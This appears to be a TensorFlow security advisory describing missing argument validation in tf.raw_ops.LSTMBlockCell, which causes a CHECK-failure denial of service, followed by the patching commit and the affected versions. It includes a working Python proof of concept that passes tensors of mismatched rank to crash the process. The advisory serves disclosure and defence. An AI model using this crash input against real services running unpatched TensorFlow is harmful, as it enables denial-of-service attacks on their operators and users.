Impact

The implementation of [tf.raw ops.LSTMBlockCell](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/rnn/lstm ops.cc) does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:
python
import tensorflow as tf

tf.raw ops.LSTMBlockCell( 
 x=tf.constant(0.837607, shape=[28,29], dtype=tf.float32),
 cs prev=tf.constant(0, shape=[28,17], dtype=tf.float32),
 h prev=tf.constant(0.592631638, shape=[28,17], dtype=tf.float32),
 w=tf.constant(0.887386262, shape=[46,68], dtype=tf.float32),
 wci=tf.constant(0, shape=[], dtype=tf.float32),
 wcf=tf.constant(0, shape=[17], dtype=tf.float32),
 wco=tf.constant(0.592631638, shape=[28,17], dtype=tf.float32),
 b=tf.constant(0.75259006, shape=[68], dtype=tf.float32),
 forget bias=1, cell clip=0, use peephole=False)
The code does not validate the ranks of any of the arguments to this API call. This results in CHECK-failures when the elements of the tensor are accessed.

Patches

We have patched the issue in GitHub commit 803404044ae7a1efac48ba82d74111fce1ddb09a.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
